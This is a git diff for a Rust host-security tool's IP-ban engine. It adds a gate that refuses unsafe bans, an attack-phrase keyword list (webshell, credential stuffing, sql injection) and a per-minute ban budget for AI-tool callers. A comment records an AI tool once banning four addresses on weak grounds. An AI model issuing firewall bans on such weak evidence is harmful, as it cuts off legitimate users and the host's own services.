+ ) + .unwrap(); + assert_eq!(offenses.len(), 1, "expected one row per (ip, source_type)"); + assert_eq!(offenses[0].offense_count, 3); + + // One address, one release, one alert. + let released = engine.unban_expired().await.unwrap(); + assert_eq!(released, 1); + + let offenses = find_recent_offenses( + &pool, + "192.0.2.77", + "sniff", + Utc::now() - Duration::minutes(5), + ) + .unwrap(); + assert!(offenses + .iter() + .all(|offense| offense.status == OffenseStatus::Released)); + + let alerts = list_alerts(&pool, AlertFilter::default()).await.unwrap(); + let releases = alerts + .iter() + .filter(|alert| alert.message.contains("Released IP ban for 192.0.2.77")) + .count(); + assert_eq!(releases, 1); + } + #[actix_rt::test] async fn test_unban_expired_releases_ban_and_emits_release_alert() { let pool = create_pool(":memory:").unwrap(); @@ -271,6 +1073,10 @@ mod tests { find_time_secs: 300, ban_time_secs: 0, unban_check_interval_secs: 60, + trusted_proxy_ranges: vec![], + allowlist_ranges: vec![], + max_bans_per_minute: 0, + protect_local_ips: true, }, ); @@ -283,6 +1089,7 @@ mod tests { container_id: None, source_path: Some("/var/log/auth.log".into()), sample_line: Some("Failed password from 192.0.2.55".into()), + immediate: false, }) .await; @@ -333,4 +1140,248 @@ mod tests { Some("Released expired ban for 192.0.2.55") ); } + + fn test_config() -> IpBanConfig { + IpBanConfig { + enabled: true, + max_retries: 5, + find_time_secs: 300, + ban_time_secs: 60, + unban_check_interval_secs: 60, + trusted_proxy_ranges: vec![], + allowlist_ranges: vec![], + max_bans_per_minute: 0, + protect_local_ips: true, + } + } + + #[actix_rt::test] + async fn test_ban_now_refuses_unbannable_addresses() { + let pool = create_pool(":memory:").unwrap(); + init_database(&pool).unwrap(); + let engine = IpBanEngine::new(pool.clone(), test_config()) + .with_local_context(LocalIpContext::empty()); + + for ip in ["172.16.0.0/12", "10.0.0.5", "127.0.0.1", "not-an-ip"] { + let outcome = engine.ban_now(ip, "test", "cli", None).await.unwrap(); + assert!( + matches!(outcome, BanOutcome::Refused(_)), + "{ip} must be refused, got {:?}", + outcome + ); + } + + assert!( + engine.active_bans().unwrap().is_empty(), + "refused addresses must leave no trace" + ); + } + + #[actix_rt::test] + async fn test_ban_now_refuses_local_infrastructure() { + let pool = create_pool(":memory:").unwrap(); + init_database(&pool).unwrap(); + let context = LocalIpContext { + interface_ips: vec!["203.0.113.5".parse().unwrap()], + docker_subnets: parse_cidr_list("198.51.100.0/24"), + }; + let engine = IpBanEngine::new(pool.clone(), test_config()).with_local_context(context); + + for ip in ["203.0.113.5", "198.51.100.77"] { + let outcome = engine.ban_now(ip, "test", "cli", None).await.unwrap(); + assert_eq!( + outcome, + BanOutcome::Refused(BanRefusal::LocalInfrastructure), + "{ip} belongs to this host or its containers" + ); + } + } + + #[actix_rt::test] + async fn test_record_offense_skips_unbannable_addresses() { + let pool = create_pool(":memory:").unwrap(); + init_database(&pool).unwrap(); + let engine = IpBanEngine::new( + pool.clone(), + IpBanConfig { + max_retries: 1, + ..test_config() + }, + ) + .with_local_context(LocalIpContext::empty()); + + for ip in ["172.16.0.0/12", "10.0.0.5", "192.168.4.7"] { + let recorded = engine + .record_offense(OffenseInput { + ip_address: ip.into(), + source_type: "sniff".into(), + reason: "test".into(), + severity: AlertSeverity::High, + container_id: None, + source_path: None, + sample_line: None, + immediate: false, + }) + .await + .unwrap(); + assert!(!recorded, "{ip} must not reach the ban threshold"); + } + + assert!(engine.active_bans().unwrap().is_empty()); + } + + #[actix_rt::test] + async fn test_unban_ip_best_effort_releases_rows_without_a_firewall() { + let pool = create_pool(":memory:").unwrap(); + init_database(&pool).unwrap(); + let engine = IpBanEngine::new(pool.clone(), test_config()) + .with_local_context(LocalIpContext::empty()); + + // Two source types block the same address — both rows must go. + for source in ["sniff", "cli"] { + record_offense_occurrence( + &pool, + &NewIpOffense { + id: Uuid::new_v4().to_string(), + ip_address: "192.0.2.66".into(), + source_type: source.into(), + container_id: None, + first_seen: Utc::now(), + reason: "test".into(), + metadata: None, + }, + Utc::now() - Duration::minutes(5), + ) + .unwrap(); + mark_blocked( + &pool, + "192.0.2.66", + source, + Utc::now() + Duration::minutes(30), + ) + .unwrap(); + } + + let released = engine.unban_ip_best_effort("192.0.2.66").await.unwrap(); + assert_eq!(released, 2); + assert!(engine.active_bans().unwrap().is_empty()); + } + + #[actix_rt::test] + async fn test_unban_all_releases_every_block() { + let pool = create_pool(":memory:").unwrap(); + init_database(&pool).unwrap(); + let engine = IpBanEngine::new(pool.clone(), test_config()) + .with_local_context(LocalIpContext::empty()); + + for ip in ["192.0.2.70", "192.0.2.71"] { + record_offense_occurrence( + &pool, + &NewIpOffense { + id: Uuid::new_v4().to_string(), + ip_address: ip.into(), + source_type: "cli".into(), + container_id: None, + first_seen: Utc::now(), + reason: "test".into(), + metadata: None, + }, + Utc::now() - Duration::minutes(5), + ) + .unwrap(); + mark_blocked(&pool, ip, "cli", Utc::now() + Duration::minutes(30)).unwrap(); + } + + let released = engine.unban_all().await.unwrap(); + assert_eq!(released, 2); + assert!(engine.active_bans().unwrap().is_empty()); + } + + #[actix_rt::test] + async fn test_ban_now_refuses_weak_reasons_from_tools() { + let pool = create_pool(":memory:").unwrap(); + init_database(&pool).unwrap(); + let engine = IpBanEngine::new(pool.clone(), test_config()) + .with_local_context(LocalIpContext::empty()); + + // Exactly what the AI used to ban four addresses for in one pass. + let outcome = engine + .ban_now( + "192.0.2.80", + "repeated connection attempts", + "ai-tool", + None, + ) + .await + .unwrap(); + assert_eq!(outcome, BanOutcome::Refused(BanRefusal::WeakEvidence)); + assert!(engine.active_bans().unwrap().is_empty()); + } + + #[actix_rt::test] + async fn test_ban_now_lets_the_cli_ban_on_any_reason() { + let pool = create_pool(":memory:").unwrap(); + init_database(&pool).unwrap(); + let engine = IpBanEngine::new(pool.clone(), test_config()) + .with_local_context(LocalIpContext::empty()); + + // A human at the terminal overrides the phrase policy. + let outcome = engine + .ban_now("192.0.2.81", "repeated connection attempts", "cli", None) + .await; + + #[cfg(target_os = "linux")] + if !running_as_root() { + match outcome { + Ok(BanOutcome::Refused(BanRefusal::WeakEvidence)) => { + panic!("cli bans are not held to the phrase policy") + } + // Firewall write fails without CAP_NET_ADMIN: the request got + // past the policy, which is all this test is about. + Err(_) | Ok(_) => {} + } + return; + } + + let outcome = outcome.unwrap(); + assert!(matches!(outcome, BanOutcome::Banned { .. })); + } + + #[actix_rt::test] + async fn test_ban_now_holds_tools_to_the_ban_budget() { + let pool = create_pool(":memory:").unwrap(); + init_database(&pool).unwrap(); + let config = IpBanConfig { + max_bans_per_minute: 1, + ..test_config() + }; + let engine = + IpBanEngine::new(pool.clone(), config).with_local_context(LocalIpContext::empty()); + + let first = engine + .ban_now("192.0.2.82", "sql injection attempt", "ai-tool", None) + .await; + + #[cfg(target_os = "linux")] + if !running_as_root() { + let _ = first; + return; + } + + let first = first.unwrap(); + assert!(matches!(first, BanOutcome::Banned { .. })); + + let second = engine + .ban_now("192.0.2.83", "sql injection attempt", "ai-tool", None) + .await + .unwrap(); + assert_eq!(second, BanOutcome::Refused(BanRefusal::BudgetExhausted)); + + // The operator is the documented exception to the ceiling. + let third = engine + .ban_now("192.0.2.84", "sql injection attempt", "cli", None) + .await + .unwrap(); + assert!(matches!(third, BanOutcome::Banned { .. })); + } } diff --git a/src/ip_ban/gate.rs b/src/ip_ban/gate.rs new file mode 100644 index 0000000..faa23eb --- /dev/null +++ b/src/ip_ban/gate.rs @@ -0,0 +1,420 @@ +//! Ban gate — which addresses may never be blocked. +//! +//! A DROP rule is host-wide: it matches in INPUT and FORWARD, for every +//! container and every service. That is the right hammer for a remote attacker +//! and the wrong one for anything on our own side of the wire. Banning the +//! host's address, a container peer, or a whole subnet (which iptables accepts +//! happily as `-s 172.16.0.0/12`) severs the application from itself, and the +//! damage outlives the ban: the rules sit in the kernel until something +//! removes them. +//! +//! Every ban entry point — log sniffing, the CLI, the AI tool — passes through +//! [`refuse_reason`] first. When in doubt the answer is "do not ban": an +//! unbanned address is one alert away from an operator, a wrongly banned one +//! takes the service down. + +use std::net::Ipv4Addr; + +use crate::ip_ban::config::{in_cidr, IpBanConfig}; + +/// Addresses belonging to this machine or its containers. +/// +/// The two sources cover each other's blind spots: interface addresses catch +/// the host's own public IP (microservices talking over published ports or a +/// load balancer log the peer as that address), docker subnets catch container +/// addresses outside the RFC1918 ranges the plain private-check already covers. +#[derive(Debug, Clone, Default)] +pub struct LocalIpContext { + pub interface_ips: Vec, + pub docker_subnets: Vec<(Ipv4Addr, u8)>, +} + +impl LocalIpContext { + pub fn empty() -> Self { + Self::default() + } + + /// Host interface addresses, best-effort. + /// + /// Discovery failure is not an error: the private-range and allowlist + /// checks still stand, and refusing to ban at all would trade a rare blind + /// spot for no security function whatsoever. + pub fn discover_local() -> Self { + Self { + interface_ips: discover_interface_ips(), + docker_subnets: Vec::new(), + } + } + + /// Docker network subnets, best-effort. Async: needs the Docker API. + pub async fn discover_docker_subnets() -> Vec<(Ipv4Addr, u8)> { + let Ok(docker) = bollard::Docker::connect_with_local_defaults() else { + return Vec::new(); + }; + let Ok(networks) = docker + .list_networks(None::>) + .await + else { + return Vec::new(); + }; + + let mut subnets = Vec::new(); + for network in networks { + for config in network + .ipam + .into_iter() + .flat_map(|ipam| ipam.config.into_iter().flatten()) + { + let Some(subnet) = config.subnet else { + continue; + }; + if let Some(parsed) = parse_cidr(&subnet) { + subnets.push(parsed); + } + } + } + subnets + } + + /// Whether `ip` belongs to this machine or its containers. + pub fn protects(&self, ip: &Ipv4Addr) -> bool { + self.interface_ips.contains(ip) + || self + .docker_subnets + .iter() + .any(|(network, prefix)| in_cidr(ip, network, *prefix)) + } +} + +/// Why a ban request is refused. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum BanRefusal { + /// Not one plain IPv4 address: garbage, IPv6, or a CIDR range. iptables + /// accepts `-s 172.16.0.0/12` without complaint and drops a whole network. + NotASingleIpv4, + /// Private, loopback, link-local, multicast — always our own side of the + /// wire, never a remote client. + PrivateOrNonRoutable, + /// Named in `STACKDOG_IP_BAN_ALLOWLIST`: load balancers, health checkers, + /// the office egress. + Allowlisted, + /// An address of this host or a running container. + LocalInfrastructure, + /// The reason names no concrete attack. Ordinary internet background noise + /// — scanners, retries, crawlers — deserves an alert, not a firewall rule. + WeakEvidence, + /// The per-minute ceiling caught the request before the firewall did. + BudgetExhausted, +} + +impl BanRefusal { + pub fn reason(self) -> &'static str { + match self { + Self::NotASingleIpv4 => { + "not a single IPv4 address (CIDR ranges and garbage are never banned)" + } + Self::PrivateOrNonRoutable => { + "private or non-routable address — always part of the local network" + } + Self::Allowlisted => "address is in STACKDOG_IP_BAN_ALLOWLIST", + Self::LocalInfrastructure => { + "address belongs to this host or a container (local interface or docker network)" + } + Self::WeakEvidence => { + "reason names no confirmed attack — report it as an alert, not a ban" + } + Self::BudgetExhausted => { + "ban ceiling reached for this minute — too many blocks at once to trust" + } + } + } +} + +/// Phrases that name a concrete attack — the only grounds a ban may rest on +/// when a human is not standing right there. +/// +/// Deliberately excluded: "repeated connection attempts", "port scan", +/// "scanning", "frequent access", "rejected connection", "possible attack". +/// Every machine on the internet is scanned all day, and a banned scanner is +/// indistinguishable from a banned crawler, health checker or customer's NAT +/// — the mistake costs more than the ban saves. +pub const STRONG_ATTACK_PHRASES: &[&str] = &[ + "brute-force", + "brute force", + "failed ssh login", + "failed login attempts", + "authentication failures", + "invalid user", + "path traversal", + "credential scanning", + "credential stuffing", + "sensitive file access", + "sql injection", + "ssrf", + "metadata access", + "webshell", + "exploit attempt", + "coordinated attack", +]; + +/// Whether `reason` names one of [`STRONG_ATTACK_PHRASES`]. +pub fn names_confirmed_attack(reason: &str) -> bool { + let reason = reason.to_ascii_lowercase(); + STRONG_ATTACK_PHRASES + .iter() + .any(|needle| reason.contains(needle)) +} + +/// Why `raw` must not be banned, if it must not. +/// +/// One gate for every ban entry point. The checks are ordered cheapest-first +/// and each failure names itself in [`BanRefusal::reason`] so the log line an +/// operator reads says exactly what was wrong with the request. +pub fn refuse_reason( + raw: &str, + config: &IpBanConfig, + context: &LocalIpContext, +) -> Option { + // Anything that is not one plain dotted quad — garbage, IPv6, or a CIDR + // range like "172.16.0.0/12" — is refused here. iptables would accept a + // range as `-s` and drop a whole network. + let Ok(ip) = raw.trim().parse::() else { + return Some(BanRefusal::NotASingleIpv4); + }; + + if is_local_wire_address(&ip) { + return Some(BanRefusal::PrivateOrNonRoutable); + } + if config.is_allowlisted(&ip) { + return Some(BanRefusal::Allowlisted); + } + if config.protect_local_ips && context.protects(&ip) { + return Some(BanRefusal::LocalInfrastructure); + } + None +} + +/// Addresses that are never a remote client: they live on our side of the wire, +/// and a DROP rule for one cuts the service off from itself. +fn is_local_wire_address(ip: &Ipv4Addr) -> bool { + ip.is_private() + || ip.is_loopback() + || ip.is_link_local() + || ip.is_multicast() + || ip.is_broadcast() + || ip.is_unspecified() + || ip.octets()[0] == 0 +} + +/// Interface addresses of the host, best-effort via `ip -j addr` (Linux). +/// +/// Returns empty when the command is missing or unparseable — see +/// [`LocalIpContext::discover_local`] for why that is safe. +fn discover_interface_ips() -> Vec { + let output = std::process::Command::new("ip") + .args(["-j", "addr", "show"]) + .output(); + let Ok(output) = output else { + return Vec::new(); + }; + if !output.status.success() { + return Vec::new(); + } + + parse_interface_ips(&String::from_utf8_lossy(&output.stdout)) +} + +/// Pull every `local` address out of `ip -j addr` output. +fn parse_interface_ips(json: &str) -> Vec { + let mut ips = Vec::new(); + + // The output is a JSON array of interface objects; addresses appear as + // "local": "192.0.2.1". Scanning for the key keeps this working across + // iproute2 versions without pulling in a JSON dependency for one call. + let mut rest = json; + while let Some(position) = rest.find("\"local\"") { + let after = &rest[position + 7..]; + let Some(value_start) = after.find('"') else { + break; + }; + let after = &after[value_start + 1..]; + let Some(value_end) = after.find('"') else { + break; + }; + if let Ok(ip) = after[..value_end].parse::() { + ips.push(ip); + } + rest = &after[value_end + 1..]; + } + + ips +} + +fn parse_cidr(raw: &str) -> Option<(Ipv4Addr, u8)> { + match raw.trim().split_once('/') { + Some((addr, prefix)) => Some((addr.parse().ok()?, prefix.parse().ok()?)), + None => Some((raw.trim().parse().ok()?, 32)), + } +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::ip_ban::config::parse_cidr_list; + + fn config(allowlist: &str) -> IpBanConfig { + IpBanConfig { + enabled: true, + max_retries: 5, + find_time_secs: 300, + ban_time_secs: 1800, + unban_check_interval_secs: 60, + trusted_proxy_ranges: vec![], + allowlist_ranges: parse_cidr_list(allowlist), + max_bans_per_minute: 10, + protect_local_ips: true, + } + } + + fn context() -> LocalIpContext { + LocalIpContext { + interface_ips: vec!["203.0.113.5".parse().unwrap()], + docker_subnets: parse_cidr_list("172.18.0.0/16"), + } + } + + #[test] + fn test_public_address_is_bannable() { + assert_eq!(refuse_reason("8.8.8.8", &config(""), &context()), None); + } + + #[test] + fn test_cidr_range_is_refused() { + assert_eq!( + refuse_reason("172.16.0.0/12", &config(""), &context()), + Some(BanRefusal::NotASingleIpv4) + ); + assert_eq!( + refuse_reason("10.0.0.0/8", &config(""), &context()), + Some(BanRefusal::NotASingleIpv4) + ); + } + + #[test] + fn test_garbage_and_ipv6_are_refused() { + assert_eq!( + refuse_reason("bogus", &config(""), &context()), + Some(BanRefusal::NotASingleIpv4) + ); + assert_eq!( + refuse_reason("fe80::1", &config(""), &context()), + Some(BanRefusal::NotASingleIpv4) + ); + } + + #[test] + fn test_private_and_loopback_are_refused() { + for ip in [ + "10.0.0.5", + "172.18.0.7", + "192.168.1.1", + "127.0.0.1", + "0.1.2.3", + ] { + assert_eq!( + refuse_reason(ip, &config(""), &LocalIpContext::empty()), + Some(BanRefusal::PrivateOrNonRoutable), + "{ip} must never be banned" + ); + } + } + + #[test] + fn test_allowlisted_address_is_refused() { + assert_eq!( + refuse_reason("167.233.9.19", &config("167.233.9.19"), &context()), + Some(BanRefusal::Allowlisted) + ); + } + + #[test] + fn test_host_interface_address_is_refused() { + assert_eq!( + refuse_reason("203.0.113.5", &config(""), &context()), + Some(BanRefusal::LocalInfrastructure) + ); + } + + #[test] + fn test_docker_subnet_address_is_refused() { + // 172.18/16 is already private; a public-IPAM subnet is the real test. + let context = LocalIpContext { + interface_ips: vec![], + docker_subnets: parse_cidr_list("198.51.100.0/24"), + }; + assert_eq!( + refuse_reason("198.51.100.77", &config(""), &context), + Some(BanRefusal::LocalInfrastructure) + ); + assert_eq!(refuse_reason("8.8.8.8", &config(""), &context), None); + } + + #[test] + fn test_local_protection_can_be_disabled() { + let mut cfg = config(""); + cfg.protect_local_ips = false; + assert_eq!( + refuse_reason("203.0.113.5", &cfg, &context()), + None, + "disabling protection restores the old behaviour" + ); + } + + #[test] + fn test_parse_interface_ips_extracts_locals() { + let json = r#"[ + {"ifname":"eth0","addr_info":[{"local":"203.0.113.5","prefixlen":24},{"local":"2001:db8::1"}]}, + {"ifname":"docker0","addr_info":[{"local":"172.17.0.1","prefixlen":16}]} + ]"#; + let ips = parse_interface_ips(json); + assert!(ips.contains(&"203.0.113.5".parse().unwrap())); + assert!(ips.contains(&"172.17.0.1".parse().unwrap())); + assert_eq!(ips.len(), 2); + } + + #[test] + fn test_parse_interface_ips_tolerates_junk() { + assert!(parse_interface_ips("not json at all").is_empty()); + assert!(parse_interface_ips("").is_empty()); + } + + #[test] + fn test_only_confirmed_attacks_pass_the_phrase_gate() { + for reason in [ + "SQL injection attempt in /search", + "path traversal probe for .env", + "brute-force against /login", + "webshell upload detected", + ] { + assert!( + names_confirmed_attack(reason), + "{reason} names a concrete attack" + ); + } + + for reason in [ + "repeated connection attempts", + "port scan", + "scanning", + "frequent access", + "rejected connection", + "possible attack", + "high traffic volume", + ] { + assert!( + !names_confirmed_attack(reason), + "{reason} is background noise, not ban grounds" + ); + } + } +} diff --git a/src/ip_ban/mod.rs b/src/ip_ban/mod.rs index a34f677..086076d 100644 --- a/src/ip_ban/mod.rs +++ b/src/ip_ban/mod.rs @@ -1,5 +1,7 @@ pub mod config; pub mod engine; +pub mod gate; pub use config::IpBanConfig; -pub use engine::{IpBanEngine, OffenseInput}; +pub use engine::{BanOutcome, IpBanEngine, OffenseInput, ReconcileReport}; +pub use gate::{BanRefusal, LocalIpContext}; diff --git a/src/lib.rs b/src/lib.rs index 1f663f0..158162d 100644 --- a/src/lib.rs +++ b/src/lib.rs @@ -50,6 +50,7 @@ pub mod collectors; pub mod baselines; pub mod correlator; pub mod database; +pub mod detectors; pub mod docker; pub mod ip_ban; pub mod ml; @@ -64,6 +65,9 @@ pub mod api; // Log sniffing pub mod sniff; +// AI tool-use +pub mod tools; + // Re-export commonly used types pub use events::security::{AlertEvent, ContainerEvent, NetworkEvent, SecurityEvent}; pub use events::syscall::{SyscallEvent, SyscallType}; diff --git a/src/main.rs b/src/main.rs index 041c13d..65a8c8f 100644 --- a/src/main.rs +++ b/src/main.rs @@ -11,7 +11,7 @@ extern crate serde_json; extern crate actix_cors; extern crate actix_rt; extern crate actix_web; -extern crate dotenv; +extern crate dotenvy; extern crate env_logger; extern crate tracing; extern crate tracing_subscriber; @@ -24,6 +24,7 @@ use actix_web::{web, App, HttpServer}; use clap::Parser; use cli::{Cli, Command}; use stackdog::database::{create_pool, init_database}; +use stackdog::ip_ban::{BanOutcome, IpBanConfig, IpBanEngine, LocalIpContext}; use stackdog::sniff; use std::{env, io}; use tracing::{info, Level}; @@ -31,13 +32,11 @@ use tracing_subscriber::FmtSubscriber; #[actix_rt::main] async fn main() -> io::Result<()> { - // Load environment - if let Err(err) = dotenv::dotenv() { - eprintln!( - "Warning: could not load .env file ({}). Continuing with existing environment.", - err - ); - } + // Parse CLI first, then load the environment: real variables always + // win (dotenvy never overrides them), then ./.env for project-local + // setups, then the service-style config in ~/.config/stackdog/. + let cli = Cli::parse(); + load_environment(!matches!(cli.command, Some(Command::Init))); // Parse CLI arguments let cli = Cli::parse(); @@ -91,11 +90,75 @@ async fn main() -> io::Result<()> { }); run_sniff(config).await } + Some(Command::BanIp(ban)) => { + let duration_secs = parse_duration(&ban.duration); + run_ban_ip(&ban.ip_address, duration_secs, &ban.reason).await + } + Some(Command::Unban(unban)) => { + run_unban(unban.ip_address.as_deref(), unban.all, &unban.reason).await + } + Some(Command::Firewall(firewall)) => match firewall.command { + cli::FirewallSubcommand::List => run_firewall_list().await, + cli::FirewallSubcommand::Reconcile => run_firewall_reconcile().await, + }, + Some(Command::Init) => run_init(), // Default: serve (backward compatible) Some(Command::Serve) | None => run_serve().await, } } +/// Where the service-style config lives: `$XDG_CONFIG_HOME/stackdog`, +/// falling back to `~/.config/stackdog`. +fn config_dir() -> Option { + if let Some(xdg) = env::var_os("XDG_CONFIG_HOME") { + if !xdg.is_empty() { + return Some(std::path::PathBuf::from(xdg).join("stackdog")); + } + } + env::var_os("HOME").map(|home| { + std::path::PathBuf::from(home) + .join(".config") + .join("stackdog") + }) +} + +/// Load `.env` from the working directory and from [`config_dir`]. The +/// nearest file wins: dotenvy never overrides a variable that is already +/// set, and the working directory is loaded first. Real environment +/// variables win over both. With `quiet`, a missing file is silent — used +/// by `stackdog init`, which exists to create one. +fn load_environment(quiet: bool) { + let local = dotenvy::dotenv(); + let home = config_dir().map(|dir| dotenvy::from_path(dir.join(".env"))); + if local.is_err() && home.as_ref().is_none_or(Result::is_err) && !quiet { + eprintln!( + "Note: no .env in the working directory or {:?}. Using the existing environment; every setting has a default. Run `stackdog init` to write a starter config.", + config_dir() + ); + } +} + +/// Write a starter config to [`config_dir`]. An existing file is never +/// overwritten: it holds credentials. +fn run_init() -> io::Result<()> { + let dir = config_dir().ok_or_else(|| { + io::Error::new( + io::ErrorKind::NotFound, + "cannot determine the config directory (no HOME or XDG_CONFIG_HOME)", + ) + })?; + std::fs::create_dir_all(&dir)?; + let path = dir.join(".env"); + if path.exists() { + println!("{} already exists; not overwriting it.", path.display()); + return Ok(()); + } + std::fs::write(&path, include_str!("../.env.sample"))?; + println!("Wrote {}.", path.display()); + println!("Edit it to set notification channels and log paths, then start stackdog again."); + Ok(()) +} + async fn run_serve() -> io::Result<()> { let app_host = env::var("APP_HOST").unwrap_or_else(|_| "0.0.0.0".to_string()); let app_port = env::var("APP_PORT").unwrap_or_else(|_| "5000".to_string()); @@ -105,7 +168,7 @@ async fn run_serve() -> io::Result<()> { info!("Port: {}", app_port); info!("Database: {}", database_url); - let app_url = format!("{}:{}", &app_host, &app_port); + let app_url = format!("{}:{}", app_host, app_port); let display_host = if app_host == "0.0.0.0" { "127.0.0.1" } else { @@ -130,9 +193,27 @@ async fn run_serve() -> io::Result<()> { let ip_ban_config = stackdog::ip_ban::IpBanConfig::from_env(); if ip_ban_config.enabled { - let ip_ban_pool = pool.clone(); + let mut engine = stackdog::ip_ban::IpBanEngine::new(pool.clone(), ip_ban_config.clone()); + engine.refresh_local_context().await; + + // Crash leftovers must not keep blocking traffic: bring the firewall + // and the database back in agreement before anything else runs. + match engine.reconcile_firewall().await { + Ok(report) => { + if !report.orphan_rules_removed.is_empty() + || !report.missing_rules_restored.is_empty() + { + info!( + "Firewall reconciled: {} orphan rule(s) removed, {} ban rule(s) restored", + report.orphan_rules_removed.len(), + report.missing_rules_restored.len() + ); + } + } + Err(err) => log::warn!("Firewall reconciliation failed: {}", err), + } + actix_rt::spawn(async move { - let engine = stackdog::ip_ban::IpBanEngine::new(ip_ban_pool, ip_ban_config); loop { if let Err(err) = engine.unban_expired().await { log::warn!("IP ban unban pass failed: {}", err); @@ -147,6 +228,17 @@ async fn run_serve() -> io::Result<()> { info!("IP ban backend disabled"); } + if parse_bool_env("STACKDOG_SERVE_SNIFF_ENABLED", true) { + let sniff_config = sniff::config::SniffConfig::background_service(); + actix_rt::spawn(async move { + if let Err(err) = run_sniff(sniff_config).await { + log::error!("Background sniff loop exited: {}", err); + } + }); + } else { + info!("Background sniff disabled"); + } + info!("🎉 Stackdog Security ready!"); info!(""); info!("API Endpoints:"); @@ -203,6 +295,18 @@ async fn run_sniff(config: sniff::config::SniffConfig) -> io::Result<()> { info!("Consume: {}", config.consume); info!("Output: {}", config.output_dir.display()); info!("Interval: {}s", config.interval_secs); + if !config.integrity_paths.is_empty() { + info!("FIM Paths: {}", config.integrity_paths.len()); + } + if !config.config_assessment_paths.is_empty() { + info!("SCA Paths: {}", config.config_assessment_paths.len()); + } + if !config.package_inventory_paths.is_empty() { + info!( + "Package Inventories: {}", + config.package_inventory_paths.len() + ); + } info!("AI Provider: {:?}", config.ai_provider); info!("AI Model: {}", config.ai_model); info!("AI API URL: {}", config.ai_api_url); @@ -216,7 +320,171 @@ async fn run_sniff(config: sniff::config::SniffConfig) -> io::Result<()> { info!("Email: configured ✓"); } - let orchestrator = sniff::SniffOrchestrator::new(config).map_err(io::Error::other)?; + let mut orchestrator = sniff::SniffOrchestrator::new(config).map_err(io::Error::other)?; orchestrator.run().await.map_err(io::Error::other) } + +fn parse_bool_env(name: &str, default: bool) -> bool { + env::var(name) + .ok() + .and_then(|value| match value.trim().to_ascii_lowercase().as_str() { + "1" | "true" | "yes" | "on" => Some(true), + "0" | "false" | "no" | "off" => Some(false), + _ => None, + }) + .unwrap_or(default) +} + +fn parse_duration(s: &str) -> u64 { + let s = s.trim(); + if let Some(num) = s.strip_suffix("m") { + num.parse::().unwrap_or(30) * 60 + } else if let Some(num) = s.strip_suffix("h") { + num.parse::().unwrap_or(1) * 3600 + } else if let Some(num) = s.strip_suffix("s") { + num.parse::().unwrap_or(0) + } else { + s.parse::().unwrap_or(1800) + } +} + +async fn run_ban_ip(ip: &str, duration_secs: u64, reason: &str) -> io::Result<()> { + let database_url = env::var("DATABASE_URL").unwrap_or_else(|_| "./stackdog.db".into()); + let pool = create_pool(&database_url).map_err(io::Error::other)?; + init_database(&pool).map_err(io::Error::other)?; + + let config = IpBanConfig::from_env(); + let engine = + IpBanEngine::new(pool, config).with_local_context(LocalIpContext::discover_local()); + + match engine + .ban_now(ip, reason, "cli", Some(duration_secs)) + .await + .map_err(io::Error::other)? + { + BanOutcome::Refused(refusal) => { + eprintln!("Refused to ban {}: {}", ip, refusal.reason()); + std::process::exit(1); + } + BanOutcome::AlreadyBanned => { + println!("{} is already banned", ip); + } + BanOutcome::Banned { blocked_until } => { + println!("IP banned successfully"); + println!(" IP: {}", ip); + println!(" Blocked until: {}", blocked_until); + println!(" Duration: {}s", duration_secs); + } + } + + Ok(()) +} + +async fn run_unban(ip: Option<&str>, all: bool, reason: &str) -> io::Result<()> { + let database_url = env::var("DATABASE_URL").unwrap_or_else(|_| "./stackdog.db".into()); + let pool = create_pool(&database_url).map_err(io::Error::other)?; + init_database(&pool).map_err(io::Error::other)?; + + let config = IpBanConfig::from_env(); + let engine = + IpBanEngine::new(pool, config).with_local_context(LocalIpContext::discover_local()); + + if all { + let released = engine.unban_all().await.map_err(io::Error::other)?; + println!( + "Released {} ban(s); Stackdog firewall rules removed", + released + ); + println!(" Reason: {}", reason); + return Ok(()); + } + + let ip = ip.ok_or_else(|| io::Error::other("provide an IP address or --all"))?; + let records = engine + .unban_ip_best_effort(ip) + .await + .map_err(io::Error::other)?; + + if records > 0 { + println!("Ban released for {} ({} record(s))", ip, records); + } else { + println!( + "No active ban recorded for {}; firewall rules removed anyway", + ip + ); + } + println!(" Reason: {}", reason); + + Ok(()) +} + +async fn run_firewall_list() -> io::Result<()> { + let database_url = env::var("DATABASE_URL").unwrap_or_else(|_| "./stackdog.db".into()); + let pool = create_pool(&database_url).map_err(io::Error::other)?; + init_database(&pool).map_err(io::Error::other)?; + + let config = IpBanConfig::from_env(); + let engine = + IpBanEngine::new(pool, config).with_local_context(LocalIpContext::discover_local()); + + let rules = engine.firewall_banned_ips().map_err(io::Error::other)?; + let bans = engine.active_bans().map_err(io::Error::other)?; + + println!("Firewall rules (tagged stackdog):"); + if rules.is_empty() { + println!(" (none)"); + } else { + for ip in &rules { + println!(" -s {} -j DROP", ip); + } + } + + println!("Database blocks:"); + if bans.is_empty() { + println!(" (none)"); + } else { + for ban in &bans { + println!( + " {} until {} ({})", + ban.ip_address, + ban.blocked_until.as_deref().unwrap_or("?"), + ban.source_type + ); + } + } + + Ok(()) +} + +async fn run_firewall_reconcile() -> io::Result<()> { + let database_url = env::var("DATABASE_URL").unwrap_or_else(|_| "./stackdog.db".into()); + let pool = create_pool(&database_url).map_err(io::Error::other)?; + init_database(&pool).map_err(io::Error::other)?; + + let config = IpBanConfig::from_env(); + let engine = + IpBanEngine::new(pool, config).with_local_context(LocalIpContext::discover_local()); + + let report = engine + .reconcile_firewall() + .await + .map_err(io::Error::other)?; + + println!( + "Orphan rules removed: {}", + report.orphan_rules_removed.len() + ); + for ip in &report.orphan_rules_removed { + println!(" {}", ip); + } + println!( + "Ban rules restored: {}", + report.missing_rules_restored.len() + ); + for ip in &report.missing_rules_restored { + println!(" {}", ip); + } + + Ok(()) +} diff --git a/src/ml/models/isolation_forest.rs b/src/ml/models/isolation_forest.rs index ea8e7b4..2a280fa 100644 --- a/src/ml/models/isolation_forest.rs +++ b/src/ml/models/isolation_forest.rs @@ -101,17 +101,19 @@ impl IsolationForestModel { } pub fn fit(&mut self, dataset: &[SecurityFeatures]) { + let rows: Vec<_> = dataset.iter().map(SecurityFeatures::as_vector).collect(); + self.fit_arrays(&rows); + } + + /// Fit the model from raw `[f64; 4]` feature arrays. + pub fn fit_arrays(&mut self, dataset: &[[f64; 4]]) { self.trees.clear(); if dataset.is_empty() { self.sample_size = 0; return; } - let rows = dataset - .iter() - .map(SecurityFeatures::as_vector) - .collect::>(); - + let rows = dataset.to_vec(); self.sample_size = self.config.sample_size.min(rows.len()).max(1); let max_depth = self .config @@ -130,15 +132,19 @@ impl IsolationForestModel { } pub 